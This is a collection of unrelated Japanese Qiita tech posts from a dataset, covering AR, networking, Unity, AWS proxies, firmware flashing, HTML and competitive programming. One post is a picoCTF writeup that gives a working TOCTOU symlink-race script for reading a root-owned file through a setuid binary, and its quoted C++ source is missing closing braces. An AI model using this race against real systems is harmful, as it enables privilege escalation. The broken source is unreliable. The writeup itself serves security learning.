OmniAICreator/Qiita-1.07M huggingface dataset:
ARで自部署を宣伝し、社内の人気部署にする!？

皆さん、こんにちは。4回目の投稿になります。

今回は、
palanARを活用し、かざすと動画が流れ、フェーズアウトすると指定したサイトが自動的に表示される仕組みにチャレンジしました✌✨

## 背景
実は、小売業の建設部は社内で非常に不人気です・・・
何故ならば、新卒で入社する人は、消費者としての視点から「店長」「バイヤー」「商品開発」「人事」などに興味を抱いて入社することが多いと思います。

入社後においても、
建設部、店舗開発部と関わることは、まずありません・・・

平均年齢が非常に高い部署だからこそ、
建設部に、もっと興味を持ってもらって、熱い情熱を抱いて来て頂き、共に未来を担ってくれる仲間が欲しい。
そのきっかけになるような仕組みが手軽に作れないか？と思ったのが、背景になります。


## 完成品
今回は、web版で動画を撮っております！！
私の作ったARマーカーがあり、それに伴って発行されたURLから専用の読み取り装置が表示され、ARマーカーを読み取ると、建設部の紹介動画が流れて、ARマーカーからフェーズアウトすると自動的に私が以前作ったブログが表示される仕組みになっています。

https://x.com/daidai1994d/status/1930552829510558134




## 使ったもの

https://palanar.com/

## 事前に準備しておくこと
①palanARのアカウント（無料）
②mp4形式の動画ファイル
③ARマーカーに使用したい画像


## フロー
#### 1.AR新規作成
![1キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/6849cc15-9fbb-4006-991e-73cc1a365355.png)

palanRにログインが完了したら、**AR新規作成**をクリックして下さい。


#### 2.ARの種類変更

![2キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/ed828cbe-1f51-4ba9-a7e1-b21814b47aad.png)


**ARマーカー**をクリックして下さい。


#### 3.ARマーカー

![3キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/7d85d9d7-28b7-4942-bb07-ed106740a851.png)

**シングルマーカー**を選択し、**シングルARマーカーを作成**をクリックして下さい。


#### 4.プロジェクト名／URL設定

![4キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/9c95f2b4-5747-4ff4-bed6-84efd7efa46f.png)

**プロジェクト名**には、自身が後でわかるようなタイトルをご入力下さい。
ページURLは、自動的に反映されるのでそのままで構いません！！


#### 5.ARマーカー設定

![5キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/79320f43-3986-4b1c-aea0-79db1b332a8f.png)

**画像をアップロード**をクリックして、使いたい画像を選択して下さい。
その後、**保存**をクリックして下さい。

![marker (4).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/d58fc972-7deb-4367-913c-0b182f765030.png)
※今回は、Canvaで生成した画像をARマーカーにしてみました。
もちろん、Canvaも無料で使用出来ます！！

#### 6.諸設定一式
![6キャプチャ.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4051385/3d27a759-2c0b-468b-a34e-a95d844e0004.png)
ステップ①：**ファイルからの選択**をクリックし、動画をアップして下さい。
※jpgなどの画像データでも可能です。

ステップ②：タイミングを**マーカーを見失った時**を選択して下さい。

ステップ③：URLに**表示したいサイトのURL**を入力して下さい。

ステップ④：**保存**をクリックして下さい。

ステップ⑤：**AR体験**をクリックして下さい。



**以上で完成です**🎊✨




## 終わりに
ARは、もっと難しいものと思っていたので、手軽に作ることが出来て驚いております！！
店舗を行った際に、目ぼしい人材を見つけたら、ARマーカーを印刷した紙を渡してみます（笑）

今回は、建設部における「人手不足の解消」「意欲のある人材の発掘」をターゲットに、ARで紹介動画が流れる仕組みと、業務内容が載っているサイトが表示される仕組みを紹介させて頂きましたが、この技術は店舗等のイベントなどにも応用することが出来ます。

是非、ご活用頂けたら幸いで御座います。


**最後まで読んで頂き、ありがとうございました。**
picoCTF 2023 writeup tic-tac

## tic-tac (Binary Exploitation)
Someone created a program to read text files; we think the program reads files with root privileges but apparently it only accepts to read files that are owned by the user running it. `ssh` to `saturn.picoctf.net:60006`, and run the binary named "txtreader" once connected. Login as `ctf-player` with the password, `d137d16e`

とりあえず、ssh接続してみる。
```
$ ssh -p 60006 ctf-player@saturn.picoctf.net
ctf-player@pico-chall$ ls -al
total 32
drwxr-xr-x 1 ctf-player ctf-player    20 Jun  5 17:04 .
drwxr-xr-x 1 root       root          24 Aug  4  2023 ..
drwx------ 2 ctf-player ctf-player    34 Jun  5 17:04 .cache
-rw-r--r-- 1 root       root          67 Aug  4  2023 .profile
-rw------- 1 root       root          32 Aug  4  2023 flag.txt
-rw-r--r-- 1 ctf-player ctf-player   912 Mar 16  2023 src.cpp
-rwsr-xr-x 1 root       root       19016 Aug  4  2023 txtreader
```
ファイルを読み取るプログラムはsrc.cpp、実行ファイルはtxtreaderである。
src.cppは以下の通り。
```cpp src.cpp
#include <iostream>
#include <fstream>
#include <unistd.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
  if (argc != 2) {
    std::cerr << "Usage: " << argv[0] << " <filename>" << std::endl;
    return 1;
  std::string filename = argv[1];
  std::ifstream file(filename);
  struct stat statbuf;
  // Check the file's status information.
  if (stat(filename.c_str(), &statbuf) == -1) {
    std::cerr << "Error: Could not retrieve file information" << std::endl;
    return 1;
  // Check the file's owner.
  if (statbuf.st_uid != getuid()) {
    std::cerr << "Error: you don't own this file" << std::endl;
    return 1;
  // Read the contents of the file.
  if (file.is_open()) {
    std::string line;
    while (getline(file, line)) {
      std::cout << line << std::endl;
    }
  } else {
    std::cerr << "Error: Could not open file" << std::endl;
    return 1;
  return 0;
```
ファイルの所有者と実行者が同一であることが求められるので、`statbuf.st_uid != getuid()`に注目する。同一かどうかを確認するのにstat()を利用しているため、確認とファイル読み取りの間で、ファイルを入れ替えることができる(Time-of-Check to Time-of-Use)。ファイルの入れ替えは、symlink attackで実現できる。
確認とファイル読み取りの間でflag.txtへのsymbolic linkを作成する必要があるため、ダミーへのsymlinkとflag.txtへのsymlinkを入れ替え続け、確率的に上手くいくタイミングを狙う(race condition)。
symlink入れ替えスクリプトは、以下の通り。
```sh replace.sh
#!/bin/bash
while true;
do
    ln -sf src.cpp symlink.txt
    ln -sf flag.txt symlink.txt
done
```
これに実行権限を付与して、バックグラウンドで実行しながら、txtreaderを実行する。
```
$ chmod +x replace.sh
$ ./replace.sh &
[1] 39
$ while ! ./txtreader symlink.txt | grep pico ; do :; done
Error: you don't own this file
picoCTF{ToctoU_!s_3a5y_f482a247}
```

フラグが得られた。

`picoCTF{ToctoU_!s_3a5y_f482a247}`
HTML　リスト

私はHTMLを学んでいる中で、「リスト」という要素の使い方も勉強しました。リストは、項目を並べて表示したいときに使います。たとえば、買い物リストや手順の説明などに便利です。HTMLでは、番号付きリスト（順序付きリスト）と、番号なしリスト（順序なしリスト）の2種類があります。リストを使うことで、情報を整理して見やすくすることができます。

<h1>Angelas Recipe for the Best Cinnamon Rolls</h1>
<br />

<h3>Ingredians</h3>
<h4>For the dough:</h4>
<ul>
  <li>3/4 cup warm milk</li>
  <li>1/4 teaspoons yeast</li>
  <li>1/4 cup granulated sugar</li>
  <li>1 egg plus 1 egg yolk</li>
  <li>1/4 cup butter</li>
  <li>3 cups bread flour</li>
</ul>
<h3>For the filling:</h3>
<ul>
  <li>2/3 cup dark brown sugar</li>
  <li>1/2 tablespoons ground cinnamon</li>
  <li>1/4 cup butter</li>
</ul>

<h2>Instructions</h2>
<p>Mix the milk with the yeast,sugar,eggs.</p>
<p>Melt the butter and add to the mixture.</p>
<p>Add in the flour and mix until combained into a dough.</p>
<p>knead the dough for 10 minutes.</p>
<p>
  transfer the dough into a large bowl and cover with plastic wrap.leave<br />
  it somewhere to rise for 2 hours.
</p>
<p>after the dough has dough in size gonna be alright.</p>

<dl>
  <dt>hot</dt>
  <dd>tea and coffee full of length</dd>
  <dt>cold</dt>
  <dd>:some of the breakfast</dd>
</dl>
この　dl　dt　dd　あんまり使えないんだけどまあ出来ればおぼいていけばいいと思います。
#0165（2025/06/06）DHCPとRAの違い

# DHCPとRAの違い — IPv4/IPv6アドレス自動割当のアーキテクチャ比較

## 背景

* **エンタープライズ／データセンターの運用自動化**が進むなか、IPアドレス管理は依然としてネットワーク基盤の可用性と保守性を左右する。
* IPv4 時代には DHCP が実質的な標準だったが、IPv6 では Router Advertisement (RA) と Stateless Address Autoconfiguration (SLAAC) が加わり、選択肢が増えた。
* 中上級エンジニアは、両者の設計思想と運用インパクトを理解し、システム要件に応じた適切な採用判断を下す必要がある。

## 1. DHCP の概要

* **中央集権型モデル**

  * アドレス空間を一元管理する DHCP サーバが存在。
  * クライアントは 4-way ハンドシェイク（Discover / Offer / Request / Ack）でリースを取得。
* **配布可能なパラメータ**

  * デフォルトゲートウェイ、DNS、NTP、PXE Boot オプションなど、L3/L4 に跨る情報を統合的に配布可能。
* **リース管理と監査**

  * MAC アドレス単位でのリーストラッキング。
  * ログを集約すれば、端末と IP の紐付けが時系列で追跡できるため、セキュリティ監査に有用。
* **IPv6 拡張 (DHCPv6)**

  * RA と協調して動作する「Stateful」「Stateless」モードを実装。
  * RA のフラグ (M,O) によりクライアントの動作を制御する。

## 2. RA / SLAAC の概要

* **分散型モデル**

  * ルータが ICMPv6 Router Advertisement をマルチキャスト (ff02::1)。
  * クライアントは受信したプレフィックス情報から EUI-64 もしくは RFC7217 に基づきアドレスを自己生成。
* **冗長性とゼロタッチ導入**

  * 複数ルータが RA を送出してもプレフィックスが同一であれば衝突しにくい。
  * DHCP サーバレス環境でもプラグインプレイでアドレス付与が完了。
* **セキュリティの課題**

  * 悪意あるノードが不正 RA を送出すると、MITM や DDoS を誘発。
  * RA Guard, SEND などのレイヤ2 防御策が必須。
* **DNS 配布のギャップ**

  * SLAAC 単体では DNS サフィックス配布ができない。
  * RDNS オプションを目的に DHCPv6 を補助的に使うケースが多い。

## 3. 設計思想の比較

* **Stateful vs. Stateless**

  * DHCP は “誰にどのアドレスを貸与したか” をサーバが保持。
  * SLAAC はクライアントが自己完結し、ルータは状態を持たない。
* **制御と柔軟性**

  * 大規模マルチテナント環境では DHCP による “意図したプール外割当防止” が機能する。
  * BYOD／IoT のように装置が多様でオフサイト展開される場合、RA のシンプルさがスケールしやすい。
* **障害ドメイン**

  * DHCP サーバ障害はネットワーク全体に波及しやすい。冗長ペア構成が設計の定石。
  * RA はルータ障害時でも他ルータがフォールバックするため、L3 装置の冗長化レベルに依存。

## 4. 運用視点での選択指針

* **オンプレ DC**

  * セグメント超えた IP 監査、DHCP スヌーピング、802.1X 連携が要求される場合は DHCP が優勢。
* **クラウドネイティブ / Kubernetes**

  * Pod ネットワークはオーバーレイで隠蔽されるため、ホスト側は RA + SLAAC で十分。
  * DHCP は仮想 NIC のライフサイクル爆発によりリーステーブルが膨張しやすい。
* **IoT / エッジ**

  * 物理的にサーバを置けない環境では RA。バッテリ駆動デバイスは 4-way ハンドシェイクを嫌う。
* **セキュア LAN**

  * 証跡管理／ACL 最適化を重視する金融・政府系ネットワークは DHCPv4/v6 を主軸に、RA は無効化。

## 5. 実装 Tips と落とし穴

* **DHCP Option 82 (Relay Agent Information)**

  * トップ・オブ・ラックで挿入し、端末位置情報を NAC へ供給。
  * IPv6 では Equivalent が限定的、代替として RADIUS CoA を併用。
* **DAD (Duplicate Address Detection)** とブート時間

  * SLAAC ではリンクローカル + グローバルの 2 回 DAD が走るため、起動遅延が発生。
  * サーバ向け NIC では “ipv6 disable dadr” でスキップ可能だが、RFC 違反になるリスク。
* **Prefix Delegation**

  * DHCPv6-PD を使うと CPE が下流プレフィックスを取得し、LAN 側で RA を送出する “ハイブリッド” パターンが実現。
* **RA Guard の実装差異**

  * ASIC ベース L2 スイッチではハードウェアフィルタが有効でも、ソフトウェアフォールバックパスに逃げる攻撃が報告される。
  * “ND inspection + dynamic ACL” まで実装できる機種を選択し、CI ベースでポリシー自動生成を行うと攻撃面を最小化できる。
* **運用モニタリング**

  * DHCP：リーステーブルとサーバヘルスを SNMP / Syslog で収集、Grafana で可視化。
  * RA：フロー収集では見えづらい。ND テーブルを定期スキャンし、アドレス使用率を推定するスクリプトが必要。
* **ゼロトラスト時代の視点**

  * エンドポイント識別を IP ではなく証明書に寄せ、アドレスは“消耗品”として設計するアプローチが増加。

## 6. まとめ

* **制御重視なら DHCP、拡張性とゼロタッチなら RA** が基本線。
* 実際の設計は「監査要件」「運用負荷」「セキュリティモデル」の三軸でトレードオフを評価することが鍵。
* 近年は **DHCPv6 + RA のハイブリッド** が主流。RA でプレフィックスとゲートウェイ、DHCPv6 で DNS や NTP を配布し、バランスを取るアーキテクチャが現実解となりつつある。

> **Key Takeaway:** どちらか一方を選ぶのではなく、機能分担と運用コストのバランスを定量的に評価し、“必要最小限の状態管理” を採用することが、モダンネットワーク設計のベストプラクティスである。
🏙 Unityに“街”を表示して、箱庭ドローンを飛ばそう！

🧑‍🏫 Unity上にリアルな“街”を表示し、その中をバーチャル・ドローンが自由に飛ぶ。そんなシーンを、Windows PCひとつで簡単に実現できるのが、箱庭ドローンシミュレータです。

「街を取り込むなんて難しそう…」と感じるかもしれませんが、ご安心を。３ステップで実現できます！

# 🎯 想定読者

- UnityやPythonを使って、教育現場でプログラミングとドローン制御を組み合わせたい方
- PLATEAUや3DDB Viewerの都市データを有効活用したい教育関係者・研究者
- 箱庭ドローンシミュレータを使った「街中フライト」のデモや実証をしたい開発者
- ゲーミフィケーション的にドローンのシミュレーションをよりリアルに見せたい人

# ３ステップでできます！

1. 都市の3Dデータを入手してください（FBX形式のものがやりやすいです）
1. 箱庭ドローンシミュレータをセットアップしましょう
1. 都市の3Dデータを箱庭ドローンシミュレータのUnityシーンに組み込みましょう

# ステップ１

Unityで使える3D都市モデルには、以下のような選択肢があります：

- PLATEAU（プラトー）：国交省が整備するオープンな都市モデル。Prefab形式のUnityデータも提供されています
- 3DDB Viewer：産総研が公開する都市データ。OBJ形式で提供されており、Unity用に変換して使うことも可能です

3DDB ViewerでのダウンロードからFBX形式への変換方法は、こちらの記事で紹介しています！

https://qiita.com/kanetugu2018/items/1076c68747c20cfebe7a

# ステップ２

「でも、箱庭ドローンシミュレータ自体のセットアップが大変なんじゃ？」そう思った方は、こちらの記事をチェック：

* Python プログラムでドローンを動かしたい方：

https://qiita.com/kanetugu2018/items/d9763ceb4e527b50c7e2

* PS4コントローラでドローンを動かしたい方：

https://qiita.com/kanetugu2018/items/24d66fc9ac189feca952

* PX4でやりたい方：

https://qiita.com/kanetugu2018/items/d4a21b590950774c6cf8

* Ardupilotでやりたい方：

https://qiita.com/kanetugu2018/items/59e3b657c402691bff54

WSL2のセットアップだけが少し手間かもしれませんが、そこを乗り越えれば、バーチャル・ドローンの制御とビジュアライズは、すべてWindows PCで完結できます！

# ステップ３

サー、いよいよ、都市の3Dモデルを箱庭ドローンシミュレータのUnityシーンに組み込みましょう。


## 箱庭ドローンシミュレータの Unity/WebAvatarシーンを開く

まずは、`WebAvatar`シーンを開きましょう。

![スクリーンショット 2025-06-06 7.10.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/7b86122c-6ac5-43f5-9827-96a31994f6e4.png)

このシーンには、以下のオブジェクトがあります。

- Directional Light
- DJAvatar2
- HakoniwaWeb
- GUI
- ENV
- EventSystem


この中で、変更が必要なのは、`ENV`の中だけで、開いてみると、下図のようになっています。

![スクリーンショット 2025-06-06 7.12.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/9726842e-cb4e-49df-9276-eda9cc116c4a.png)

今回は、`Camera`以外は、一旦、全部オフしましょう。

やり方は簡単です。オブジェクトを選択して、インスペクタービューを見て、オブジェクト名の隣になるチェックボックスのチェックを外すだけです。

![スクリーンショット 2025-06-06 7.13.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/ac24d444-1064-4450-af4e-3ea6b8b528e0.png)

こんな感じですね。

![スクリーンショット 2025-06-06 7.14.35.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/70672128-d995-45e4-8803-adc0dc87de39.png)

## 3D都市モデルを入れましょう

`output.fbx` をドラッグ&ドロップで、`ENV`の下に入れましょう。

![スクリーンショット 2025-06-06 7.16.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/06780f88-b860-432c-bc5a-7e9f6ec22978.png)

あとは、位置調整すれば終わりです。

箱庭ドローンの設定は原点(0, 0, 0)固定としていますので、都市の方を移動させます。

![スクリーンショット 2025-06-06 7.21.03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/244147/67508b5e-2abc-4806-be30-55bf68d920c6.png)

`output.fbx` のインスペクタービューの、`Position`を調整して、所望の場所にドローンが来るようにします。


# ✈️ デモ

それでは、3DDB Viewer でダウンロードした「お台場」上空で、バーチャルドローンを飛ばしてみましょう。

レッツ、街中フライト！

[![操作デモ動画](https://img.youtube.com/vi/147dX-wsTeA/0.jpg)](https://www.youtube.com/watch?v=147dX-wsTeA)

# 📝 最後に
箱庭ドローンシミュレータは、UnityとPythonが扱えれば、誰でも“リアルな街で飛ばせる”体験が作れます。
特別なノウハウは不要。ぜひ、自分だけの街を飛ばしてみてください！
PowerVC の構成でストレージをssh鍵またはパスワードで登録した際の登録定義の確認

### はじめに

PowerVC ではストレージ機器を登録する際、認証方式として「パスワード認証」と「SSH鍵認証」の2種類が選択できます。


<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/517421/ae1f3f75-9afb-464e-bb74-cba7db3f9f82.png" width=40%>




<br>
<br>

しかし、登録後に PowerVC の GUI 上からは、どちらの認証方式が使用されたかを確認することはできません。


![図1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/517421/a1fddafc-42ad-49cf-bbae-07dfe027c6db.png)

<br>


本記事では、登録済みストレージの認証方式を後から確認する方法をご紹介します。


---

### 検証環境



PowerVC サーバー（RHEL ppc64le 上）
製品情報: IBM PowerVC


https://www.ibm.com/jp-ja/products/powervc



---

### 認証方式の確認方法

ストレージごとに作成される Cinder の設定ファイルを確認することで、認証方式を判別できます。


* 設定ファイルのパス：

```
/etc/cinder/cinder-<識別子>.conf
```

※ <識別子> はストレージの IP アドレスまたはホスト名に基づきます。

---

#### パスワード認証の場合


以下のように san_password の記述が存在します。

```
抜粋
[backend_defaults]
volume_driver = powervc_cinder.volume.drivers.storwize_svc.storwize_svc_fc_product.PowerVCStorwizeSVCFCDriver
volume_backend_name = XXX_XX_XX_XX
san_ssh_port = 22
san_ip = xxx.xx.xx.xx
san_login = superuser
storwize_svc_connection_protocol = fc
storwize_svc_vol_iogrp =0
storwize_svc_volpool_name = power
storwize_svc_iscsi_chap_enabled = False
san_password = aes-ctr:Nzc2NDA3xxxxxxxY3MTqr0mhmMCY6AQ==　　　　　# <= この行が存在すればパスワード認証
```

---

#### ssh 鍵認証の場合

以下のように san_private_key の記述があり、san_login が sshuser 行の表示もあります。


```
抜粋
[backend_defaults]
san_login = sshuser　　　　　　　　　　　　# <= SSH鍵認証のサイン
storwize_svc_vol_iogrp = 0
san_private_key = /etc/cinder/rsakeys/cinder_XXX_XX_XX_XX_rsa　　# <= 鍵ファイルのパス
san_ip = xxx.xx.xx.xx
storwize_svc_volpool_name = XXXX
san_ssh_port = 22
volume_backend_name = XXX_XX_XX_XX
storwize_svc_connection_protocol = fc
volume_driver = powervc_cinder.volume.drivers.storwize_svc.storwize_svc_fc_product.PowerVCStorwizeSVCFCDriver
storwize_svc_iscsi_chap_enabled = False
```


---


###  まとめ

PowerVC の GUI では認証方式を確認できませんが、Cinder の設定ファイルを確認することで、以下のように判別可能です：

| 認証方式 | 判別ポイント |
|----------|----------------|
| パスワード認証 | `san_password` の存在 |
| SSH鍵認証 | `san_private_key` 、`san_login = sshuser`の存在 |




---

### 参考リンク

ssh鍵を使用したの PowerVC へのストレージ登録方法は下記で確認しています。

https://qiita.com/c_u/items/b4b125df6cea7af1608a



以上です。
ChatGPTを使用したアプリ開発記【ログイン/ログアウトのボタン切り替え】

## UIコード
```Header.js
{/* ✅ ログイン/ログアウト切り替え */}
      {user ? (
        <button
          onClick={() => {
            toggleMenu();
            handleLogout();
          }}
          className="bg-blue-500 text-white text-sm px-4 py-2 rounded-xl hover:bg-blue-600 transition shadow"
        >
          ログアウト
        </button>
      ) : (
        <button
          onClick={() => {
            toggleMenu();
            navigate('/login');
          }}
          className="bg-blue-500 text-white text-sm px-4 py-2 rounded-xl hover:bg-blue-600 transition shadow"
        >
          ログイン
        </button>
      )}
```

## 機能
•	未ログイン状態で見ると「ログイン」ボタンが表示されます。
•	ログイン中は「ログアウト」ボタンが表示されます

## UI

![スクリーンショット 2025-05-25 8.12.08.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058366/f0732df1-dc6e-406a-bc43-ae9a03b13ea7.png)
![スクリーンショット 2025-05-25 8.11.47.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1058366/73de69c9-bc4d-40cf-9f59-2810bf1084f9.png)
Geminiでてんとう虫を使う魔法少女を描いてみた。

# 概要

Geminiでてんとう虫を使う魔法少女を描いてみました。

# 実装

プロンプトと実行結果は以下の通りでした。

```
聖なるてんとう虫を使う魔法少女を描いてください。
```

![聖なるてんとう虫を使う魔法少女_20250606.PNG](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3192024/93939d6a-c4f2-4d51-83f4-760c08415800.png)

# まとめ

綺麗。何かの役に立てばと。
閉域網からPrivateLink経由でAWSCLIを打鍵する構成を考える

# はじめに

Privateなネットワーク環境からAWS CLIを打鍵する際は、必ずPublicに出る必要があります。
今回、他クラウドからのAWS CLI打鍵を、VPN接続されたVPC内部通信を介して、決められたAWSの出口からのみ、AWSCLI用の通信を出せないかという話題が上がり、
他クラウドから打鍵するために、NetworkLoadBalancerのPrivateLink経由で出口を提供できないか検証してみました。

# 検証構成

シンプルにサブネットを分け、疑似的な閉域網を作りました。

![kouseizu2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/2981ee1f-3a7f-4999-a506-63d7f1751b60.png)

左側のEC2が他クラウドから接続されたクライアントの想定です。


# 設定

以下設定です。

## Proxy

### ルートテーブル

ProxyのEC2が存在するサブネットは、インターネットに向いたルートテーブルに所属しています。

![ROute1.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/c58427a0-4c39-4898-bab8-13e818f7ddf8.jpeg)

### OS内部 
ユーザーデータ経由でSquidをインストール＆設定しています。

ユーザーデータ
```
#!/bin/bash -xe
yum update -y
yum install -y squid

# Configure Squid as a proxy
cat > /etc/squid/squid.conf << 'EOF'
acl SSL_ports port 443
acl Safe_ports port 80
acl Safe_ports port 443
acl Safe_ports port 1025-65535

http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access allow localhost manager
http_access deny manager

# Allow AWS API endpoints
acl aws_endpoints dstdomain .amazonaws.com
http_access allow aws_endpoints

# Allow local network
acl localnet src 10.0.0.0/8
acl localnet src 172.16.0.0/12
acl localnet src 192.168.0.0/16
http_access allow localnet

http_access allow localhost
http_access deny all

http_port ${ProxyPort}

coredump_dir /var/spool/squid
refresh_pattern ^ftp: 1440 20% 10080
refresh_pattern ^gopher: 1440 0% 1440
refresh_pattern -i (/cgi-bin/|\?) 0 0% 0
refresh_pattern . 0 20% 4320
EOF

# Start Squid service
systemctl enable squid
systemctl start squid
```
## PrivateLink

### ルートテーブル

PrivateLink 経由でトラフィックを強制的にProxyに流すだけなので、設定はデフォルト状態です。

![Route2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/d742dbd1-e1c8-4e45-aa6d-084373ea0f64.jpeg)

### PrivateLink設定

8080を転送するListen設定を入れたNLBがあります。

![NLB.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/cb40ddcf-fd64-47ba-a68e-c184100281d4.jpeg)

エンドポイントサービスを作り、自VPCにエンドポイントを公開しました。

![エンドポイント2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/34ef3e34-036f-44be-b8dc-84f4d7fe8562.jpeg)

## Client EC2

### ルートテーブル

デフォルトルートはNLBのENIを指定しております。

![EC2.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/6b8de71a-3ded-4051-8a7c-11d81af36682.jpeg)

### OS内部 

プロキシをエンドポイントサービスのDNSに設定しています。

![EC2-naka.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/07cbdd95-824e-4f87-a488-6160c759b99a.jpeg)


# 結果
無事にAWS CLIを打鍵できました。
![kekka.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3873904/fcb98227-4765-4def-9a4c-e62aecddf6c8.jpeg)

※プロキシ設定を入れない状態だとタイムアウトになります。

# その他

PrivateLinkを作らなくても、NLBまたは直EC2プロキシ指定で、閉域網を通じたアクセスは可能ですが、
PrivateLink経由だとスケーラビリティの向上が見込めるようです(未検証)
必要に応じて後日検証できればしようと思います。

決まった内容のAWS CLIを打鍵するのみだと、APIGateway、Lambdaで構成する方がコストメリットはあると思います。複数のAWS CLIを打つ必要がある場合は、この構成(プロキシ経由)がよいかなと思ってます。
ご意見あればコメント頂けると嬉しいです。

# ToDo
なお、AWS CLI用のプロキシは、~/.aws/config に設定する形でも可…のはずだがうまく通らない…ので後日検証する

```
[default]
cli_http_proxy = http://your-proxy:port/
cli_https_proxy = http://your-proxy:port/
```
reTerminalのファームウェアアップデートをBookwormで行う

こちらのオフィシャルにあるやり方だとBookwormではファームウェアのアップデートができない。
https://lab.seeed.co.jp/entry/2021/11/25/120000

本来ならBookwormを入れる前にファームウェアアップデートを行ってからBookwormをインストールすればいいと思うのだが、すでにBookwormを入れてしまってからファームウェアが古いことに気付いた場合は、bcm2835gpioを使ってやれば解決する。

基本的なやり方は上記のオフィシャルの通りに進めるんだけど、下記でエラーが出る。
```
$ ./xpack-openocd-0.11.0-2/bin/openocd -f interface/sysfsgpio-raspberrypi.cfg -c "transport select swd" -f target/stm32g0x.cfg -c "program STM32G030F6_R2.bin verify 0x08000000;shutdown"
xPack OpenOCD aarch64 Open On-Chip Debugger 0.11.0+dev (2021-10-16-21:18)
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
SysfsGPIO nums: swclk = 11, swdio = 25

swd
Info : SysfsGPIO JTAG/SWD bitbang driver
Error: Couldn't export gpio 11
Error: sysfsgpio: Invalid argument
Error: Couldn't unexport gpio 11
Error: Couldn't unexport gpio 25
Error: No Valid JTAG Interface Configured.
```

こうしたらできた。

```
cat > cm4-bcm2835.cfg << EOF
adapter driver bcm2835gpio
bcm2835gpio_peripheral_base 0xfe000000
bcm2835gpio_speed_coeffs 236181 60
adapter gpio swclk 11 -chip 0
adapter gpio swdio 25 -chip 0
transport select swd
adapter speed 1000
EOF

sudo openocd -f cm4-bcm2835.cfg -f target/stm32g0x.cfg -c "program STM32G030F6_R2.bin verify 0x08000000;shutdown"
```
こういう感じになればOK。
```
$ sudo openocd -f cm4-bcm2835.cfg -f target/stm32g0x.cfg -c "program STM32G030F6_R2.bin verify 0x08000000;shutdown"
Open On-Chip Debugger 0.12.0
Licensed under GNU GPL v2
For bug reports, read
http://openocd.org/doc/doxygen/bugs.html
DEPRECATED! use 'bcm2835gpio peripheral_base' not 'bcm2835gpio_peripheral_base'
DEPRECATED! use 'bcm2835gpio speed_coeffs' not 'bcm2835gpio_speed_coeffs'
adapter speed: 1000 kHz

Info : BCM2835 GPIO JTAG/SWD bitbang driver
Info : clock speed 2001 kHz
Info : SWD DPIDR 0x0bc11477
Info : [stm32g0x.cpu] Cortex-M0+ r0p1 processor detected
Info : [stm32g0x.cpu] target has 4 breakpoints, 2 watchpoints
Info : starting gdb server for stm32g0x.cpu on 3333
Info : Listening on port 3333 for gdb connections
[stm32g0x.cpu] halted due to debug-request, current mode: Thread 
xPSR: 0xf1000000 pc: 0x08000a48 msp: 0x20002000
 Programming Started 
Info : device idcode = 0x10016466 (STM32G03x/G04xx - Rev Z : 0x1001)
Info : RDP level 0 (0xAA)
Info : flash size = 32 KiB
Info : flash mode : single-bank
Info : Padding image section 0 at 0x08004324 with 4 bytes (bank write end alignment)
Warn : Adding extra erase range, 0x08004328 .. 0x080047ff
 Programming Finished 
 Verify Started 
 Verified OK 
shutdown command invoked
```
競プロ日記#25/06/03 + #25/06/05

# AtCoder
## AtCoder Beginner Contest 393
[C - Make it Simple](https://atcoder.jp/contests/abc393/tasks/abc393_c)
- 単純グラフの定義→自己ループと多重辺
- あとはシンプルにmapで数え上げ

## AtCoder Beginner Contest 392 
[C - Bib](https://atcoder.jp/contests/abc392/tasks/abc392_c)
- mapをひたすら使って実装するだけ。
- 最初誰が誰を見ているかの関係をグラフで管理しようとしてしまったのと問題設定がややこしくて頭がこんがらがったが、一つ一つコメントアウトを活用して「何を管理しているmapか」という情報を整理すれば問題なく実装できた。

```
int main() {
    long long N;
    cin >> N;
    // vector<long long> G[100009];
    
    long long P[N + 1];
    long long Q[N + 1];
    P[0] = 0;
    Q[0] = 0;
    for (long long i = 1; i <= N; i++) {
        cin >> P[i];
    }
    for (long long i = 1; i <= N; i++) {
        cin >> Q[i];
    }
    map<long long, long long> H; // 人iがどのゼッケンをつけているか
    for (long long i = 1; i <= N; i++) {
        H[i] = Q[i];
    }

    map<long long, long long> R; // ゼッケンiをつけている人は誰か
    for (long long i = 1; i <= N; i++) {
        R[Q[i]] = H[i];
    }

    map<long long, long long> G; // 人iが見つめている人は誰か
    for (long long i = 1; i <= N; i++) {
        G[Q[i]] = P[i];
    }

    for (long long i = 1; i <= N; i++) {
        if (i > 1) {
            cout << " ";
        }
        cout << H[G[R[i]]]; // ゼッケンiを付けている人が見つめている人が付けているゼッケン
    }
}
```
